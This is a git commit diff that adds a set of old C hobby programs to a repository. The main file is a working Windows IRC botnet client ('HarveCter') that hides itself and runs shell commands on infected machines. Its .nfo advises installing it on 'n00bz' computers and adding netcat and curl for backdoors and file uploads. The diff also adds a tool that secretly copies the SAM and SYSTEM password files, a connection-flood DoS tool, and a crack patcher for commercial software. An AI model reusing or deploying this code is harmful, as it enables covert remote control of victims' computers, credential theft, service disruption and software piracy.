From: Harvie Date: Mon, 24 May 2010 22:02:47 +0000 (+0200) Subject: C+WinSock IRC Bot and few other useless programs i've found on my freeshell account... X-Git-Url: https://git.harvie.cz/?a=commitdiff_plain;h=eb313e17c964b3227fbdbb54bbcda05a9d84f7ac;p=mirrors%2FPrograms.git C+WinSock IRC Bot and few other useless programs i've found on my freeshell account... --- diff --git a/c/HarveCter/HarveCter_0.8_basics_manual.jpg b/c/HarveCter/HarveCter_0.8_basics_manual.jpg new file mode 100755 index 0000000..6a63094 Binary files /dev/null and b/c/HarveCter/HarveCter_0.8_basics_manual.jpg differ diff --git a/c/HarveCter/harvecter.c b/c/HarveCter/harvecter.c new file mode 100755 index 0000000..635704b --- /dev/null +++ b/c/HarveCter/harvecter.c @@ -0,0 +1,319 @@ +/* +HarveCter IRCBot 1.0b +This 31337 code by: Harvie 2oo7 +Windows IRC Bot/Zombie/Whatever you want... + +INFO: +Optimalized for Dev-Cpp +Compile as window app to make a daemon + +Warning: +There is not so big security!!! +If you want to keep your zombies, +control them only by PM or at completely secure channel!!! +All passwords, that are starting with your password will be accepted!!! + +COMMANDS: +Warning: all commands are case sensitive + +!login [login] //Bad login=logout +!chanpass //Set mode +k + +PRIVILEGED COMMANDS: +!SAY [msg] //Say msg +!CMD [shell command] //Execute command @ zombie +!raw [line to send] //Sends raw line to server (you can OP yourself) +!info //Info about zombie +!time //Localtime @ zombie +!show //Show console window +!hide //Hide console window +!restart //Restart connection +!respawn //Restart whole zombie + +Development comments: +6 * 128 == 768 == Maximum lenght of IRC message (RFC) +*/ + +//Preproc: +#include +#include +#include +#include +#include +#pragma comment(lib,"ws2_32.a"); + +//Sends IRC message "msg" to "channel" over socket "s". +int irc_sendmsg(int s, char *channel, char *msg) { + int len, err; + char snd[1024]; + sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg); + len = strlen(snd); + err = send(s, snd, len, 0); + printf("%s", snd); //Show + return err; + } + +//MAIN_FUNCTION:////////////////////////////////////////////////////////// +int main(int argc, char *argv[]) { + +//SETTINGS://///////////////////////////////////////////////////////////// + char server[] = "irc.2600.net"; //IRC Server + int port = 6667; //Port of IRC Server + char channel[] = "#hv"; //IRC Channel + char pass[] = "test"; //Bot Password + char chanpass[] = "lol"; //Channel Password + char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup +//MISC://///////////////////////////////////////////////////////////////// + char version[] = "1.0b"; //Bot version + char nick[128] = "Harvecter"; //Doesn't matter - Username of active user will be used instead + char cmdfile[] = "zzzcommands.bat"; + //AllocConsole(); //Ukazat + //FreeConsole(); //Schovat... ;) + //freopen("log.txt", "ab", stdout); //Log all outputs to file +//INITIALIZATIONS://////////////////////////////////////////////////////// + srand(time(0)); + char lclhost[256], lclhostnm[256], hostmsg[1000]; + char *user, *processor, *root, *logonsrvr, *os, rnd[10]; + //Load enviroment variables + user = getenv("USERNAME"); + processor = getenv("PROCESSOR_IDENTIFIER"); + root = getenv("SystemRoot"); + logonsrvr = getenv("LOGONSERVER"); + os = getenv("OS"); + //Generate nick from username and random number + sprintf(rnd, "%i", rand()); + sprintf(nick, "H-%s-%s", user, rnd); + //time + struct tm *localtime(const time_t *tod); + struct tm *p_st_cas; + time_t cas; + //cmd + FILE *cmdf; +////////////////////////////////////////////////////////////////////////// +//CODE://///////////////////////////////////////////////////////////////// +////////////////////////////////////////////////////////////////////////// + + //Delete cmdfile (Hell knows it's useful...) + cmdf = fopen(cmdfile, "w"); + fprintf(cmdf, "del %s\n", cmdfile); + fclose(cmdf); + WinExec(cmdfile,SW_HIDE); + + //Print banner + printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick); + //Execute startup script + WinExec(rcfile,SW_HIDE); //Run rcfile (hidden) + + //Declarations for WSA + int s; + SOCKADDR_IN sck; + HOSTENT *host, *localhost; + WSADATA wsadata; + WSAStartup(MAKEWORD(1,1),&wsadata); + + //Set details for WSA + while( (host=gethostbyname(server)) == NULL){ //Host + printf("!Error server host not found\nwaiting 5s...\n"); + sleep(5000); + } + sck.sin_family = PF_INET; + memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length); + sck.sin_port = htons(port); //Port + + //Info at localhost + while ((localhost=gethostbyname("")) == NULL) { + printf("!Error local host not found\nwaiting 5s...\n"); + sleep(5000); + } + sprintf(lclhostnm, "%s", localhost->h_name); + sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr))); + sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor); + printf("%s\n", hostmsg); + + //Initialization of strings used for IRC communication, etc... + int len, err; //Lenght, Error + char snd[1024], msg[1000], rcv[1024], passin[1000], *sub; + + //Infinite loop (bot can't stop) + while(1) { + + //Create socket + s=socket(AF_INET, SOCK_STREAM, 0); + + //Connect + while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) { + printf("!Error while connecting\nwaiting 5s...\n"); + sleep(5000); + } + + //IRC Server login + sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick); + len = strlen(snd); + err = send(s, snd, len, 0); + + //Join&Set channel password + sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); + sleep(1000); + err = send(s, snd, len, 0); + //mode #chan +k heslo + sleep(2000); + sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); + sleep(1000); + err = send(s, snd, len, 0); + + + //Send greetings + sprintf(msg, "Hello ;), let my introduce myself... I am %s v%s", nick, version); //Zprava + err = irc_sendmsg(s, channel, msg); + sprintf(msg, "!chanpass"); //Request channell operator to set channell password (mode +n+k) + err = irc_sendmsg(s, channel, msg); + + //Loop (while connection exists) + err = 1; + while( err && err != -1) { + + //JOIN + sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); + + //RECIEVE + memset(rcv, '\0', 1024); + sub = 0; + err = recv(s, rcv, 1024, 0); + printf("%s", rcv); + + //PING-PONG (Respond to server pings only) + if ( (sub = (strstr(rcv, "PING :"))) ) { + sub = sub+6; + sprintf(snd, "PONG :%s", sub); + len = strlen(snd); + err = send(s, snd, len, 0); + printf("%s", snd); + } + sub = 0; + + if ( (sub = (strstr(rcv, ":!chanpass"))) ) { + printf("!Setting chanpass\n"); + sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); + len = strlen(snd); + err = send(s, snd, len, 0); + } + sub = 0; + + //LOGIN + if ( (sub = (strstr(rcv, ":!login "))) ) { + sub = sub+8; + sprintf(passin, "%s", sub); + if ( strstr(passin, pass) ) { //Use this condition to check login. + sprintf(msg, "Login succesful"); + irc_sendmsg(s, channel, msg); + printf("\n!!!Login succesful\n"); + } else { + sprintf(msg, "Loged out"); + irc_sendmsg(s, channel, msg); + printf("!!!Loged out\n\n"); + } + } + sub = 0; + + //IF LOGED IN: + if ( strstr(passin, pass) ) { + + //SAY + if ( (sub = (strstr(rcv, ":!SAY "))) ) { + sub = sub+6; + sprintf(msg, "MSG: %s", sub); //Zprava + err = irc_sendmsg(s, channel, msg); + } + sub = 0; + + //INFO (USER, DOMAIN, IP, ARCHITECTURE) + if ( (sub = (strstr(rcv, ":!info"))) ) { + err = irc_sendmsg(s, channel, hostmsg); + } + sub = 0; + + //TIME + if ( (sub = (strstr(rcv, ":!time"))) ) { + printf("Time\n"); + //struct tm t; + + cas = time(NULL); + p_st_cas = localtime(&cas); + + strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas); + err = irc_sendmsg(s, channel, msg); + } + sub = 0; + + //SEND RAW + if ( (sub = (strstr(rcv, ":!raw "))) ) { + sub = sub+6; + len = strlen(sub); + err = send(s, sub, len, 0); + } + sub = 0; + + //SHELL + //Hey! Don't forget to download wget&curl in bot directory!! ;D + //With wget and curl you will be able to download and upload files... + if ( (sub = (strstr(rcv, ":!CMD "))) ) { + sub = sub+6; + sprintf(snd, "%s", sub); + printf("!CMD %s", snd); + + sprintf(msg, "Executing: %s", sub); + irc_sendmsg(s, channel, msg); + printf("!!! %s", msg); + + FILE *cmdf = fopen(cmdfile, "w"); + fprintf(cmdf, "%s\ndel %s\n", snd, cmdfile); + fclose(cmdf); + + WinExec(cmdfile,SW_HIDE); //Hide console window + //system(cmdfile); //Show console window + } + sub = 0; + + //HIDE/SHOW + if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0; + if ( (sub = (strstr(rcv, ":!show"))) ) { AllocConsole(); } sub = 0; + + //RESTART connection to server + if ( (sub = (strstr(rcv, ":!restart"))) ) { + sprintf(msg, "Please wait while restarting..."); + err = irc_sendmsg(s, channel, msg); + closesocket(s); + sprintf(msg, "ERROR: Couldn't close socket :("); + err = irc_sendmsg(s, channel, msg); + printf("\nRESTARTING...\n\n"); + } + sub = 0; + + //RESPAWN (restarts all) + if ( (sub = (strstr(rcv, ":!respawn"))) ) { + sprintf(msg, "Please wait while respawning..."); + err = irc_sendmsg(s, channel, msg); + printf("\nRESPAWNING...\n\n"); + closesocket(s); + execl(argv[0], NULL); //Exchange old process for new (argv[0]) + sprintf(msg, "ERROR: Couldn't respawn :("); + err = irc_sendmsg(s, channel, msg); + printf("ERROR: Couldn't respawn :(\n"); + } + sub = 0; + + }//END LOCKED COMMANDS + }//LoopEND + + //Close + closesocket(s); + printf("!Error while sending\nwaiting 5s before reconnect...\n"); + sleep(5000); + }//InfiniteLoopEND + + //Zavrit + closesocket(s); + WSACleanup(); //Flush WSA + return(0); + +} diff --git a/c/HarveCter/harvecter.nfo b/c/HarveCter/harvecter.nfo new file mode 100755 index 0000000..38a3dd0 --- /dev/null +++ b/c/HarveCter/harvecter.nfo @@ -0,0 +1,113 @@ + <>=========================================================== 1001 1001 1011 1110 0000 01101 1110 ===<> + ___ ___ ___ ___ + /__/\ / /\ / /\ ___ ___ / /\ + \ \:\ / /::\ / /::\ /__/\ / /\ / /:/_ + \__\:\ / /:/\:\ / /:/\:\ \ \:\ / /:/ / /:/ /\ + ___ / /::\ / /:/~/::\ / /:/~/:/ \ \:\ /__/::\ / /:/ /:/_ + /__/\ /:/\:\/__/:/ /:/\:\/__/:/ /:/___ ___ \__\:\\__\/\:\__ /__/:/ /:/ /\ + \ \:\/:/__\/\ \:\/:/__\/\ \:\/::::://__/\ | |:| \ \:\/\\ \:\/:/ /:/ + \ \::/ \ \::/ \ \::/~~~~ \ \:\| |:| \__\::/ \ \::/ /:/ + \ \:\ \ \:\ \ \:\ \ \:\__|:| /__/:/ \ \:\/:/ + \ \:\ \ \:\ \ \:\ \__\::::/ \__\/ \ \::/ + \__\/ \__\/ \__\/ ~~~~ \__\/ + + <>===== IRC Bot ================================================================ <-- Harvie 2oo7 ====<> + <> <> + <> <>GENERAL <> + <> Name: HarveCter <> + <> Subject: IRC Bot <> + <> Description: Remote Control/Backdoor/Zombie/etc... Everything is controled by IRC <> + <> Version: 1.0b <> + <> <> + <> <>DETAILS <> + <> Platform: Microsoft Windows (Tested on XP SP2) <> + <> Language: Ansi C + Few windows libs (windows.h & WinSock) <> + <> Author: <-- Harvie <> + <> Date: 2oo7 <> + <> Contact: Harvie@irc.2600.net <> + <> <> + <>=====0=======================================================================================1=====<> + <>======0=======================================================================================1====<> + <>====000=============================================================== <-- Harvie 2oo7 =====111====<> + + <>===== INFO ================================================ 1001 1001 1011 1110 0000 01101 1110 ===<> + + <>Building info: +Optimalized for Dev-Cpp. +Compile as windows GUI app. to make a daemon. + + <>Warnings: +There is not so big security!!! +If you want to keep your zombies, +control them only by PM or at completely secure channel!!! +All passwords, that are starting with your password will be accepted!!! +If you want to keep your botnet use Dynamic IRC server maping (by Dynamic DNS), +rather than sending bots directly to one server (as irc.2600.net:6667)!!! + + <>Setting up: +- You can do all settings in source. +- for better security use a different password for channel and bots. + + <>Commands: +- Warning: all commands are case sensitive + +- !login [login] //Bad login=logout +- !chanpass //Set mode +k (each bot sends this when connected) + + <>Privileged commands (needs login) +- !SAY [msg] //Say msg +- !CMD [shell command] //Execute command @ bot (hidden console window) +- !CMD start [shell command] //Execute command @ bot (show console window) +- !raw [line to send] //Sends raw line to server (you can OP yourself) +- !info //Info about zombie +- !time //Local time @ zombie +- !show //Show console window +- !hide //Hide console window +- !restart //Restart connection to server +- !respawn //Restart whole zombie + + <>Startup commands: +Each time when the bot starts, he executes the "hircb.rc.bat" file - hidden (UTFS). + + <>More functions: +If you want to add more functions to this bot, you can add them direct to the code, +or you can simple add executable binaries to its directory (!CMD binary.exe). +This binary must be fully controlled from CLI (command line). + + <>Recommended binaries to add: +- Wget (wget.exe) - Allows you to download files from http & ftp (add functions online...) +- cURL (curl.exe) - Allows you to upload files to your server (needs some php scripts...) + + <>Another usefull binaries: +- NetCat (nc.exe) - Useful (Easy Networking, Firewall test, Backdoor, etc...) - you know... +- Servers - FTP(SlimFTPd), HTTP(you can strip Apache), SMTP, SOCKS, Proxy +- Runtimes - Unix(CygWin), Java(JArX) PHP, Perl, Python +- NirCMD2 - (nircmdc.exe) Work with special windows features (mouse,gui,system functions,...) +- CLAmp (clamp.exe) - Winamp Control (Yeah! What do you expected???) +- Anything else - DoS, mailing (Don't do any ilegal stuff with this - yust testing!!!) + + <>Recommendations: +- Use some free DNS service to move zombies across servers. +- Take very big care about channel security. +- Install this bot only at n00bz' computers, because there is no encryption + (anybody else can sniff and get passwords, etc...) + + <>Version history: +- future - Maybe some bugfixes +- 0.1b - bugfixes (cmdfile), Implemented "!respawn" +- 0.9 - Executing hircb.rc.bat at startup, first use "In the Wild" -> found bugs, need "!respawn" +- 0.8 - Hidden execution +- 0.7 - Implemented "!info" & "!time" +- 0.6 - Implemented "!login" function +- 0.5 - Implemented "!CMD" function +- other - I can't remember ;D + + <>Terms of use: +- Use it like you want [use, change, abuse]! +- There is no warranty, because this is free of charge for you! +- There is no responsibility from side of author, because this is tool only! +- Only you are responsible for yours acts! + + <>=====0=======================================================================================1=====<> + <>======0=======================================================================================1====<> + <>====000=============================================================== <-- Harvie 2oo7 =====111====<> diff --git a/c/samthief.c b/c/samthief.c new file mode 100755 index 0000000..aaadfff --- /dev/null +++ b/c/samthief.c @@ -0,0 +1,28 @@ +#include +//SAMThief - Harvie (2oo7) +/* +Quicky & secretly copies sam & system files from %systemroot%\repair +This files should be used to crack, Administrator password. +For example by using ophcrack.sourceforge.net (Rainbow tables crack) +*/ + +int main(int argc, char *argv[]) +{ + srand(time(NULL)); + unsigned char i = rand(); + #define SIZE 64 + char dir[SIZE], now[SIZE]; + + sprintf(dir, "%%username%%\\%d\\", i); + printf("%s\n", dir); + + //system("@echo off"); + sprintf(now, "mkdir %s", dir); + system(now); + sprintf(now, "copy %%SystemRoot%%\\repair\\sam %s", dir); + system(now); + sprintf(now, "copy %%SystemRoot%%\\repair\\system %s", dir); + system(now); + //system("PAUSE"); + //return 0; +} diff --git a/c/synfcity.c b/c/synfcity.c new file mode 100755 index 0000000..481441e --- /dev/null +++ b/c/synfcity.c @@ -0,0 +1,158 @@ +/* +SYN-F-City +SynFlooder ( Optimized for DEV-C++ ) +I made this like a PortFuck alternative for Microsoft Windows Commandline. +You can do anything what you want with this piece of software (and source code), +but only at yours own risk and responsibility. +You can modify and distribute this software as long as it's not used in public +networks or against extraneous computer and as long as my name is mentioned. +Sorry for my poor english and use it well. ;D + + <- Harvie 2oo7 */ + +//Includes +#include +#include +#include +#include +#include +#include //don't forget to include Dev-Cpp/lib/libwsock32.a + +//Settings +#define HOSTLEN 256 //Maximum hostname lenght +char target_host[HOSTLEN] = "127.0.0.1"; //host +unsigned int target_port = 80; //port +int delay = 1000; //sleep in ms +unsigned int threads_max = 300; //0 == infinite +char mode = 1; //0 = reconnect on connect; 1 = wait for disconnection by server +#define DATALEN 1024 //Maximum data lenght +char snd_data[DATALEN] = ""; //Data to send (Optional) + +//Init +char product[] = "SYNFCity"; +char version[] = "0.4 (2oo7)"; +int thread_report = 10; +unsigned int thread_no = 1; + +//Socket thread +unsigned __stdcall SecondThreadFunc( void* pArguments ) +{ + unsigned int this_thread_no = thread_no; + //system("cls"); + //printf( "[d] Thread #%d\n", this_thread_no ); //Debug + + //Sock/////////////////////////////////////// + int s; + SOCKADDR_IN sck; + HOSTENT *host; + WSADATA wsadata; + + WSAStartup(MAKEWORD(1,1),&wsadata); + + if( (host=gethostbyname(target_host)) == NULL ) { + printf("\n[!] Host not found !!!\n"); + exit(1); + } + sck.sin_family = PF_INET; + memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length); + sck.sin_port = htons(80); + + while(1) { + s=socket(AF_INET, SOCK_STREAM,0); + while( !( connect(s,(struct sockaddr *)&sck,sizeof(sck)) ) ) { Sleep(100); } + if( strlen(snd_data) > 0 ) { + send(s,snd_data,0,strlen(snd_data)); //Send data + } + if(mode) { + while( send(s,snd_data,0,strlen(snd_data)) != -1 ) { Sleep(3000);} //Wait for server side close + } + //printf("[d] Reconnecting #%d\n", this_thread_no); //Debug + closesocket(s); + } + //Sock end////////////////////////////////// + + _endthreadex( 0 ); + return 0; +} + +//MAIN +int main(int argc, char *argv[]) +{ + //Help + if(argc < 3) { + printf("\n%s %s\n\nHarvie's Windows SYNFlood based service performance tester\n(PortFuck commandline alternative)\n\n", product, version); + printf(" Usage: %s host port [delay] [socks_max] [mode] [\"data\"]\n\n", product); + printf("host - yours testing target\n"); + printf("port - port with target service\n"); + printf("delay - wait between thread creating (ms)\n"); + printf("socks_max - maximum of threads/sockets; 0 = infinite -don't do with short delay\n"); + printf("mode - (0|1); 0 = reconnect on connect; 1 = wait for disconnection by server\n"); + printf("data - send this string to the server (\"\\n\\n\" will be added)\n"); + printf("\n"); + printf("This values will be used implicitly:\n %s %s %d %d %d %d \"%s\"\n", product, target_host, target_port, delay, threads_max, mode, snd_data); + printf("\n\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !! WARNING - TERMS OF USE - READ CAREFULLY !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! THIS IS FREEWARE AND COMES WITH ABSOLUTELY NO WARRANTY !!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! IT'S PROHIBITED TO USE THIS SOFTWARE IN PUBLIC NETWORKS !!!!!!!!!!!!\n"); + printf(" !!!!!!!!! USE THIS TEST ONLY AGAINST YOURS OWN COMPUTERS !!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR USING THIS PROGRAM !!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR YOU !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!! USE THIS ONLY ON YOURS OWN RISK !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!! DON'T USE THIS SOFTWARE IF YOU DOESN'T UNDERSTOOD OR YOU DON'T AGREE !!!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! <- HARVIE 2oo7 !!!\n"); + printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"); + printf(" !I have done this only to test my own server's resistance against DoS attacks!\n"); + printf("\n"); + if(argc < 2) { + printf("Press any key, if you are sure, that you understand and you agree with terms of use. Otherwise close the window. (Run this program with more than zero arguments to prevent this confirmation, if you want dump help to file, etc...)\n"); + system("pause"); + } + return(1); + } + + //Parse arguments + if(argc > 1) { snprintf(target_host, HOSTLEN, "%s", argv[1]); } + if(argc > 2) { target_port = atoi(argv[2]); } + if(argc > 3) { delay = atoi(argv[3]); } + if(argc > 4) { threads_max = atof(argv[4]); } + if(argc > 5) { mode = atoi(argv[5]); } + if(argc > 6) { snprintf(snd_data, DATALEN,"%s", argv[6]); } + printf("[*] %s host: %s port: %d\n[i] delay: %d socks_max: %d mode: %d data: %s", product, target_host, target_port, delay, threads_max, mode, snd_data); + if(strlen(snd_data) > 0) { snprintf(snd_data, DATALEN,"%s\n\n", snd_data); } + + + //Load + HANDLE hThread; + unsigned threadID; + printf("[!] SynFlooding %s:%d\n[i] C-c 2 stop\n\n", target_host, target_port); + printf( "[T] Creatin' some threadzz... ;))\n" ); + printf( "[i] Showing only each %dth thread:\n", thread_report ); + + //Fire ;)) + while(1) { + hThread = (HANDLE)_beginthreadex( NULL, 0, &SecondThreadFunc, NULL, 0, &threadID ); + if(hThread == 0) { + printf("\n[!] Reached maximum number of threads allowed by system.\n"); + break; + } + if(thread_no % thread_report == 0) { + printf( "[#] Thread #%d was succesfully created.\n", thread_no ); //Debug + } + Sleep(delay); + thread_no++; + if(threads_max != 0) { + if(thread_no > threads_max) { + printf("\n[!] Reached previously selected maximum number of threads.\n"); + break; + } + } + } + + printf("[!] Working...\n[i] C-c 2 stop\n\n"); + //Doo something useful while running ;D + while(1) { sleep(60000); } +} diff --git a/misc/BinCracking/binpatcher.c b/misc/BinCracking/binpatcher.c new file mode 100755 index 0000000..4fe3f55 --- /dev/null +++ b/misc/BinCracking/binpatcher.c @@ -0,0 +1,96 @@ +//BinPatcher 3.0 +//by: Harvie 2oo7 + +/* This code is very useful, if you are cracking software and you need +to share your cracks without whole binary (because of size or copyright). +This is simple way to patch binaries at users home. +Warning: You need to know some things about PE (probably) architecture to use this. +But there is still some automatic computing with addreses, +so you have to know only bit about yours binary... +*/ +/*Note: this is patch used to crack free version of CPULower (remove NAG screen), +and you have to edit it for any file, that you want to patch. +*/ + +#include +#include + +int main(int argc, char *argv[]) +{ + //Basic informations + char file[] = "cpulower.exe"; + char this_file[] = "BinPatcher.exe"; + char title[] = "CPU Lower - NAG screen remover - patcher"; + char author[] = "<-Harvie 2oo7"; + //You can get these from debuger, disassembler, etc...: + long int image_base = 0x400000; //ImageBase of binary + long int section_rva = 0x1000; //Virtual addres of patched section + long int section_offset = 0x400; //Offset of patched section + long int size = 0, needed_size = 317440; //Size in Bytes (Compressed size for PE compressors) + + //File declaration + FILE *bin; + + //Banner + printf("%s\nby: %s\n\nThis will patch %s\n\n", title, author, file); + + //Arguments + if(argc != 2) { + printf("Incorrect number of arguments!!!\n"); + printf("Usage: %s %s\n", this_file, file); + printf("You can simply Drag&Drop file \"%s\" on this (%s)\n\n", file, this_file); + system("pause"); + return(0); + } + + //Size check + int c; + printf("Checking file size of %s...\n", argv[1]); + bin = fopen(argv[1], "rb"); + if(bin == NULL) { printf("Error while opening %s\n", argv[1]); return 0; } + while( (c = fgetc(bin)) != EOF ) { + size++; + } + fclose(bin); + printf("File size = %d B\n", size); + if(size != needed_size) { + printf("Incorrect file size (%d B) !!!\nContinue?\n", size); + system("pause"); + } else { + printf("File size OK!\n\n"); + } + + //Backup + char backup[1024]; + printf("Backuping to %s.crkbak\n", argv[1]); + sprintf(backup, "copy /B /Y \"%s\" \"%s.crkbak\" > nul", argv[1], argv[1]); + printf("Backup done.\n\n"); + system(backup); + + //UnCompress example for upx (Use this only if you know what it is) + /* + printf("Uncompressing...\n"); + char uncs[1024]; + sprintf(uncs, "upx -d \"%s\"", argv[1]); + system(uncs); //THis needs upx binary + printf("Uncompressed!\n\n"); + */ + + //Patching + long int virtual_addres = 0x437069; //Virtual addres from debuger - Example: 0x00437069 + unsigned char patch[] = "\x90\x90\x90\x90\x90"; //Patch to apply - Example: "\x90" (== NOP) + bin = fopen(argv[1], "rb+"); + if(bin == NULL) { printf("Error while opening %s\n", argv[1]); return 0; } + + long int offset = virtual_addres - image_base - section_rva + section_offset; //Vypocitame offset v souboru + printf("Patching code @ D: %d H: 0x%x\n", offset, offset); + fseek(bin, offset, SEEK_SET); //Seek code + fwrite(&patch, (sizeof(patch)-1), 1, bin); //Patch code + + //GO HOME ;}} + fclose(bin); + + printf("File was successfully patched!!!\n\n"); + system("PAUSE"); + return 0; +} diff --git a/misc/BinCracking/hexcmp.c b/misc/BinCracking/hexcmp.c new file mode 100755 index 0000000..a3cb8c3 --- /dev/null +++ b/misc/BinCracking/hexcmp.c @@ -0,0 +1,87 @@ +#include +#include + +int main(int argc, char *argv[]) +{ + printf("HEXCMP 0.3\nHexadecimal Comparator\n<-Harvie 2oo7\n\n"); + if(argc < 3) { + printf("Usage: hexcmp oldfile newfile [decimal_offset_to_start_at]\n"); + printf("This will show what is new in \"newfile\",\n"); + printf("this can be useful, when making binary patchers.\n\n"); + system("pause"); + return 0; + } + + printf("Comparing old \"%s\" with new \"%s\"\n", argv[1], argv[2]); + + FILE *forig, *fcrac; + forig = fopen(argv[1], "rb"); + if(forig == NULL) { printf("Error while opening %s\n", argv[1]); return 0; } + fcrac = fopen(argv[2], "rb"); + if(fcrac == NULL) { printf("Error while opening %s\n", argv[2]); return 0; } + + short found = 0; + unsigned long int offset = 0, last = 0, end = 0, dlen = 0; + int corig = 0, ccrac = 0; + + if(argc > 3) { + offset = atof(argv[3]); + printf("Comparing from offset D: %d H: 0x%x\n", offset, offset); + } + printf("\n"); + + //Seek + fseek(forig, offset, SEEK_SET); + fseek(fcrac, offset, SEEK_SET); + + while((ccrac = fgetc(fcrac)) != EOF) { + if( (corig = fgetc(forig)) == EOF ) { + corig == -9999; + if(end == 0) { + end = 1; + } + } + if(corig != ccrac) { + + if(end == 1) { + if(dlen != 0) { + printf("\nLenght: %d Bytes", dlen); + dlen = 0; + } + printf("\n\n--- END OF OLDER FILE ---\n\n"); + end = 2; + } + + if(offset != (last+1)) { + if(dlen != 0) { + printf("\nLenght: %d Bytes", dlen); + dlen = 0; + printf("\n\n"); + } + printf("Difference @ D: %d H: 0x%x\n", offset, offset); + } + + printf("\\x%x", ccrac); + + dlen++; + last = offset; + found = 1; + } + + offset++; + } + + if(dlen != 0) { + printf("\nLenght: %d Bytes", dlen); + } + + fclose(forig); + fclose(fcrac); + + if(found == 0) { + printf("No difference found!!!"); + } + printf("\n"); + //system("PAUSE"); //Debug + return 0; +} diff --git a/misc/BinCracking/patcher_gen.phps b/misc/BinCracking/patcher_gen.phps new file mode 100755 index 0000000..ba09b40 --- /dev/null +++ b/misc/BinCracking/patcher_gen.phps @@ -0,0 +1,52 @@ + diff --git a/php/hhttpd/examples/hhttpd_listing.html b/php/hhttpd/examples/hhttpd_listing.html new file mode 100755 index 0000000..00e7c70 --- /dev/null +++ b/php/hhttpd/examples/hhttpd_listing.html @@ -0,0 +1,10 @@ +Index of x:/WarGames/ + +Directory listing of x:/WarGames/ :

+ +1 - [DIR] Sub
+2 - Wargames.avi
+3 - Wargames.sub
+
+Total: 3 + \ No newline at end of file diff --git a/php/hhttpd/examples/hhttpd_listing_new.html b/php/hhttpd/examples/hhttpd_listing_new.html new file mode 100755 index 0000000..fec4cb8 --- /dev/null +++ b/php/hhttpd/examples/hhttpd_listing_new.html @@ -0,0 +1,41 @@ + +Index of c:/ + +Available volumes:
+[/] +[c:] +[d:] +[e:] +[f:] +[x:] +[y:] +[z:] +
+ +Directory listing of c:/ :

+ +[DIR] Parent Directory (../)
+1 - AUTOEXEC.BAT
+2 - boot.ini
+3 - Bootfont.bin
+4 - CONFIG.SYS
+5 - [DIR] Documents and Settings
+6 - hiberfil.sys
+7 - IO.SYS
+8 - ISACER.ID
+9 - MSDOS.SYS
+10 - NTDETECT.COM
+11 - ntldr
+12 - pagefile.sys
+13 - [DIR] Program Files
+14 - [DIR] RECYCLER
+15 - sysc.sys
+16 - sysc.syss
+17 - [DIR] sysrpr
+18 - sysrpr.bat
+19 - [DIR] System Volume Information
+20 - [DIR] WINDOWS
+
+Total: 20 +
+ \ No newline at end of file diff --git a/php/hhttpd/examples/hhttpd_output.txt b/php/hhttpd/examples/hhttpd_output.txt new file mode 100755 index 0000000..363572b --- /dev/null +++ b/php/hhttpd/examples/hhttpd_output.txt @@ -0,0 +1,19 @@ + + Starting Harvie's HTTPd at: + tcp://127.0.0.1:81 + +200 [DIR] ./ +301 gbook_offline -> /gbook_offline/ +200 [DIR] gbook_offline/ +200 [DIR] gbook_offline/ +301 c: -> /c:/ +200 [DIR] c:/ +301 c:/WINDOWS -> /c:/WINDOWS/ +200 [DIR] c:/WINDOWS/ +301 c:/WINDOWS/repair -> /c:/WINDOWS/repair/ +200 [DIR] c:/WINDOWS/repair/ +200 c:/WINDOWS/repair/autoexec.nt +200 c:/WINDOWS/repair/config.nt +404 Some random name +404 c:/Another notfound +404 d:/notfoundtest diff --git a/php/hhttpd/http_server.pdf b/php/hhttpd/http_server.pdf new file mode 100755 index 0000000..a4e198b --- /dev/null +++ b/php/hhttpd/http_server.pdf @@ -0,0 +1,1152 @@ +%PDF-1.3 +%Ç쏢 +1 0 obj +<> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +endobj +5 0 obj +<> +stream +BT 1 0 0 1 72 762 Tm +/F1 11 Tf 